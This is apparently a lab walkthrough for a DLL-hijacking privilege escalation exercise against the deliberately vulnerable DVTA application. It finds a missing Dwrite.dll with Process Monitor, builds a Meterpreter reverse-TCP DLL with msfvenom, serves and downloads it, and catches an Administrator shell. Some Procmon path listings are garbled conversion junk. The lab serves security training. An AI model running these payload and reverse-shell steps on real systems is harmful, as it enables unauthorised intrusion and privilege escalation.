Name	DLL Hijacking: DVTA
URL	https://attackdefense.com/challengedetails?cid=2104
Туре	Windows Security: Privilege Escalation: DLL Hijacking

**Important Note:** This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

# **Application Analysis**

**Step 1:** Switch to **Target Machine** for analysis of the vulnerable application.



A vulnerable application **DVTA** and **process monitor** application for analysis provided to you.

**Note:** We are using this machine only for analysis purposes.


**Step 2:** Run process monitoring application.

#### **Process Monitor Tool:**

#### **Process Monitor**

"Process Monitor is a free tool from Windows Sysinternals, part of the Microsoft TechNet website. The tool monitors and displays in real-time all file system activity on a Microsoft Windows or Unix-like operating system. It combines two older tools, FileMon and RegMon and is used in system administration, computer forensics, and application debugging."

**Source:** <a href="https://en.wikipedia.org/wiki/Process\_Monitor">https://en.wikipedia.org/wiki/Process\_Monitor</a>




We can notice, all the running processes are captured by the tool. We could also monitor the running process behavior.

If we run a program then the tool would show all the operations performed by that program. i.e Registry, DLL, ReadFile, CloseFile, CreateFile, Queries, etc, therefore this becomes quite easy to detect a missing DLL and application behavior. An attacker can plant a malicious DLL to a missed location if he has the writing permission.

**Step 3:** Applying a "**CreateFile**" filter to see all the missing files.

Note: Randomly pick any "CreateFile" operation and apply the filter as shown below.

Right-click on "CreateFile" → Include 'CreateFile'




Path	Result
C:\Users\Administrator\AppData\Local	NAME COLLISION
C:\Users\Administrator\AppData\Local	SUCCESS
C:\Users\Administrator\AppData\Local\Microsoft\Windows\Explorer	NAME COLLISION
$C: \label{local-Microsoft-Windows-Explorer-Concache-ToDelete} C: \label{local-Microsoft-Windows-Concache-ToDelete} C: \label{local-Microsoft-Windows-Windows-Concache-ToDelete} C: \label{local-Microsoft-Windows-Concache-ToDelete} C: \label{local-Microsoft-Windows-Concache-ToDelete} C: \label{local-Windows-Windows-Windows-Concache-ToDelete} C: local-Windows-Windo$	NAME NOT FOUND
C:\Users\Administrator\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db	SUCCESS
C: lem:lem:lem:lem:lem:lem:lem:lem:lem:lem:	SUCCESS
C:\Users\Administrator\Desktop	SUCCESS
C: lem:lem:lem:lem:lem:lem:lem:lem:lem:lem:	SUCCESS
C:\Users\Public\Desktop	SUCCESS
C:\Users\Administrator\AppData\Local\Microsoft\Windows\Explorer\iconcache_16.db	SUCCESS
C:\Users\Administrator\AppData\Local\Microsoft\Windows\Explorer	SUCCESS
C:\Users\Administrator\AppData\Local\Microsoft\Windows\Explorer\iconcache_48.db	SUCCESS
C:\Windows\System32\imageres.dll	SUCCESS
C:\Windows\System32\en-US\imageres.dll.mui	SUCCESS
C:\Users\Administrator	NAME COLLISION
C:\Users\Administrator	SUCCESS
C:\Users\Administrator\AppData\Local	NAME COLLISION
C:\Users\Administrator\AppData\Local	SUCCESS
C:\Users\Administrator\AppData\Local\Microsoft\Windows\Explorer	NAME COLLISION
C: local-Microsoft-Windows-Explorer-Local-Microsoft-Windows-Explorer-Local-Explorer-Local-Microsoft-Windows-Explorer-Local-Explorer-Local-Microsoft-Windows-Explorer-Local-Explorer-Local-Microsoft-Windows-Explorer-Local-Explorer-Local-Microsoft-Windows-Explorer-Local-Explorer-Local-Microsoft-Windows-Microsoft	NAME NOT FOUND
C:\Users\Administrator\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db	SUCCESS
C:\Users\Administrator\AppData\Local\Microsoft\Windows\Explorer\iconcache_16.db	SUCCESS
C:\Users\Administrator\AppData\Local\Microsoft\Windows\Explorer	SUCCESS
C:\Users\Administrator\AppData\Local\Microsoft\Windows\Explorer\iconcache_48.db	SUCCESS
C:\Users\Administrator\AppData\Local\Microsoft\Windows\Explorer	SUCCESS
C:\Users\Administrator	SUCCESS

We can notice in the "**Result**" column that there are multiple results shown for each operation along with the path location. This makes the job easier to identify the missing file. It is showing "**NAME NOT FOUND**" means the path which is mentioned in the same row is missing.

In this challenge, we are going to identify the missing DLLs of the provided application and generate a malicious DLL then putting it in right place causes a vulnerable application to load that malicious DLL.

**Step 4:** We need to make sure that where we are putting a malicious DLL we have the privilege to write in that folder. Verifying if we have the permission to write the DLL to the DVTA directory.


**Command:** Get-ACL 'C:\Users\Administrator\Desktop\dvta\bin\Release' | Format-List



**Note:** Restart the process monitoring application before running the vulnerable application.


**Step 4:** Running DVTA application.


**Application:** C:\Users\Administrator\Desktop\dvta\bin\Release\DVTA.exe



The vulnerable application is running. Filter the running process i.e DVTA.exe

**Press:** CTRL + L for process filter.





We can notice, that we have filtered the application.

3... Thread Create

9:... DVTA.exe


Uncheck "Show Registry Activity" & "Show Network Activity"



Apply the filter "CreateFile" operation. Right-click on "CreateFile" → Include 'CreateFile'

SUCCESS

Thread I...






Ti... Process Name 2... Operation Result Path 8:... DVTA.exe 3... CreateFile C:\Windows\SysWOW64\en-US\user32.dll.mui SUCCESS 8:... DVTA.exe 3... CreateFile C:\Users\Administrator\Desktop\dvta\bin\Release\DVTA.exe.Local NAME NOT FOUND 3... CreateFile C:\Windows\WinSxS\x86 microsoft.windows.common-controls 6595b64144ccf1df 6.0.17763.14... SUCCESS 8:... DVTA.exe 8:... DVTA.exe 3... CreateFile C:\Windows\WinSxS\x86\_microsoft.windows.common-controls\_6595b64144ccf1df\_6.0.17763.14... SUCCESS 8:... DVTA.exe 3... CreateFile C:\Windows\WinSxS\x86\_microsoft.windows.common-controls\_6595b64144ccf1df\_6.0.17763.14... SUCCESS 8:... DVTA.exe 3... CreateFile C:\Windows\WindowsShell.Manifest SUCCESS 9:... ■DVTA.exe 3... CreateFile C:\Users\Administrator\Desktop\dvta\bin\Release\DVTA.exe SUCCESS 9:... DVTA.exe 3... CreateFile C:\Users\Administrator\Desktop\dvta\bin\Release\DVTA.exe SUCCESS 9:... ■DVTA.exe 3... CreateFile C:\Users\Administrator\Desktop\dvta\bin\Release\DVTA.exe SUCCESS 9:... DVTA.exe 3... CreateFile C:\Users\Administrator\Desktop\dvta\bin\Release\winnlsres.dll NAME NOT FOUND 9:... DVTA.exe 3... CreateFile C:\Windows\SysWOW64\winnlsres.dll 9:... DVTA.exe 3... CreateFile C:\Windows\SysWOW64\winnlsres.dll SUCCESS 9:... DVTA.exe 3... CreateFile C:\Windows\SysWOW64\en-US\winnlsres.dll.mui NAME NOT FOUND 9:... DVTA.exe 3... CreateFile SUCCESS C:\Windows\System32\en-US\winnlsres.dll.mui 9:... DVTA.exe 3... CreateFile C:\Windows\SysWOW64\TextInputFramework.dll SUCCESS 9:... DVTA.exe 3... CreateFile C:\Windows\SysWOW64\TextInputFramework.dll SUCCESS 9:... DVTA.exe 3... 

♣CreateFile C:\Windows\SysWOW64\CoreUlComponents.dll SUCCESS 9:... DVTA.exe 3... CreateFile C:\Windows\SysWOW64\CoreMessaging.dll SUCCESS 9:... DVTA.exe 3... CreateFile C:\Windows\SysWOW64\CoreUlComponents.dll SUCCESS 9:... DVTA.exe 3... CreateFile C:\Windows\SysWOW64\CoreMessaging.dll SUCCESS 9:... DVTA.exe 3... CreateFile C:\Windows\SysWOW64\ntmarta.dll SUCCESS 9:... DVTA.exe 3... CreateFile C:\Windows\SysWOW64\WinTypes.dll SUCCESS 9:... DVTA.exe 3... CreateFile C:\Windows\SysWOW64\ntmarta.dll SUCCESS 9:... DVTA.exe 3... CreateFile C:\Windows\SysWOW64\WinTypes.dll SUCCESS . ■DVTA.exe ■CreateFile C:\Windows\SysWOW64\WinTypes.dll SUCCESS 9:... DVTA.exe 3... CreateFile C:\Windows\SysWOW64\WinTypes.dll SUCCESS ■DVTA.exe . CreateFile C:\Windows\SysWOW64\WinTypes.dll SUCCESS ■DVTA exe

Now, apply the filter for "Result" to "NAME NOT FOUND".

Right-click on "NAME NOT FOUND" → Include 'NAME NOT FOUND'



We can observe that we can only see the result based on "Name Not Found". Now to target the **DVTA.exe** program search for a missing DLL.

C:\Windows\Microsoft.NET\Framework\v2.0.50727\clr.dll

C:\Users\Administrator\Desktop\dvta\bin\Release\VERSION.dll

C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoree.dll

C:\Windows\Microsoft.NET\Framework\v4.0.30319\ole32.dll

C:\Windows\assembly\Nativelmages\_v4.0.30319\_32\DVTA

C:\Windows\assembly\Nativelmages\_v4.0.30319\_32\DVTA

C:\Windows\SysWOW64\rpcss.dll

C:\Windows\Microsoft.NET\Framework\v4.0.30319\fusion.localgac

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSVCR120\_CLR0400.dll

 $C: \label{lem:condition} C: \label{lem:condition} C: \label{lem:condition} Windows \label{lem:condition} Microsoft. NET \label{lem:condition} NET \label{lem:condition} Windows \label{l$ 

## Filtering the Application path.

Press: CTRL + L

5:5... DVTA.e... 4... CreateFile

5:5... DVTA.e... 4... CreateFile

5:5... **Z**DVTA.e... 4... SCreateFile

5:5... DVTA.e... 4... CreateFile

5:5... MDVTA.e... 4... SCreateFile

5:5... DVTA.e... 4... CreateFile

5:5... **™**DVTA.e... 4... **③**CreateFile

5:5... DVTA.e... 4... CreateFile


5:5... MDVTA.e... 4... SCreateFile

5:5... DVTA.e... 4... CreateFile

**Path:** C:\Users\Administrator\Desktop\dvta\bin\Release\


NAME NOT FOUND

Desired A...



We can observe that **Dwrite.dll** is missing.

Missing DLL: C:\Users\Administrator\Desktop\dvta\bin\Release\Dwrite.dll



Now, we could take advantage of this by planting a malicious **Dwrite.dll** to the "C:\Users\Administrator\Desktop\dvta\bin\Release" folder.

## **Exploiting Application**

**Note:** There would be more than one missing DLL's, not all would work. It is dependent on the application behavior.

#### Switch to the Kali Machine

**Step 1:** We have the information that Dwrite.dll is missing. We could generate a malicious DLL using the Metasploit framework to exploit the application.

Checking the IP address.

Command: ifconfig eth1

```
root@attackdefense:~# ifconfig eth1
eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
        inet 10.10.0.2 netmask 255.255.255.0 broadcast 10.10.0.255
        ether 02:42:0a:0a:00:02 txqueuelen 0 (Ethernet)
        RX packets 15 bytes 1170 (1.1 KiB)
        RX errors 0 dropped 0 overruns 0 frame 0
        TX packets 0 bytes 0 (0.0 B)
        TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

root@attackdefense:~#
```

Step 2: Generating malicious DLL

**Command:** msfvenom -p windows/meterpreter/reverse\_tcp LHOST=10.10.0.2 LPORT=4444 -f dll > Dwrite.dll file Dwrite.dll

```
root@attackdefense:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.0.2 LPORT=4444 -f dll > Dwrite.dll

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload

[-] No arch selected, selecting arch: x86 from the payload

No encoder specified, outputting raw payload

Payload size: 341 bytes

Final size of dll file: 5120 bytes

root@attackdefense:~#

root@attackdefense:~# file Dwrite.dll

Dwrite.dll: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

root@attackdefense:~#
```

**Step 3:** Start Python Simple HTTP server to serve the malicious DLL file.

Command: python -m SimpleHTTPServer 80

```
root@attackdefense:~# python -m SimpleHTTPServer 80 Serving HTTP on 0.0.0.0 port 80 ...
```

Also, we need to start Metasploit multi handler for a meterpreter session.

Step 4: Running Multi handler.

## Commands:


msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse\_tcp
set LHOST 10.10.0.2
set LPORT 4444
exploit

```
root@attackdefense:~# msfconsole -q
msf5 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.10.0.2
LHOST => 10.10.0.2
msf5 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf5 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 10.10.0.2:4444
```

## **Switch to the Attacker Machine (student)**

**Step 1:** See if we could access the DVTA application from the attacker machine.

**Path:** C:\Users\Administrator\Desktop\dvta\bin\Release




The Binary is located in bin\Release\DVTA.exe

**Step 2:** We can access the application. Download the malicious DLL from the kali machine and place it in the DVTA directory.

Command: iwr -UseBasicParsing -Uri http://10.10.0.2/Dwrite.dll -OutFile .\Dwrite.dll

PS C:\Users\student\Desktop> iwr -UseBasicParsing -Uri http://10.10.0.2/Dwrite.dll -OutFile .\Dwrite.dll PS C:\Users\student\Desktop> \_


We have full control of this directory. Copy and paste the Dwrite.dll file in the DVTA folder.



Now, when a high privileged user runs the DVTA.exe we can expect a meterpreter session on the Kali machine.

## **Switch to Target Machine**

Running DVTA.exe



We won't receive any output. But, when we **switch back to the kali machine** there is an active meterpreter session.

#### **Commands:**

sysinfo getuid

```
root@attackdefense:~# msfconsole -q
msf5 > use exploit/multi/handler
    Using configured payload generic/shell_reverse_tcp
_ exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
<u>msf5</u> exploit(
                            r) > set LHOST 10.10.0.2
LH0ST => 10.10.0.2
msf5 exploit(
                            r) > set LPORT 4444
LPORT => 4444
msf5 exploit(multi/handler) > exploit
    Started reverse TCP handler on 10.10.0.2:4444
    Sending stage (176195 bytes) to 10.0.0.252
    Meterpreter session 1 opened (10.10.0.2:4444 -> 10.0.0.252:49774) at 2020-10-24 16:33:28 +0530
<u>meterpreter</u> > sysinfo
Computer
                   PRIVILEGE-ESCAL
                   Windows 2016+ (10.0 Build 17763).
Architecture
                   x64
                   en US
System Language :
                   WORKGROUP
Domain
Logged On Users
                   2
Meterpreter
                   x86/windows
meterpreter > getuid
Server username: PRIVILEGE-ESCAL\Administrator
meterpreter >
```



## References

- 1. Process Monitor (<a href="https://docs.microsoft.com/en-us/sysinternals/downloads/procmon">https://docs.microsoft.com/en-us/sysinternals/downloads/procmon</a>)
- 2. Metasploit (<a href="https://www.metasploit.com/">https://www.metasploit.com/</a>)
- 3. DVTA (https://github.com/secvulture/dvta)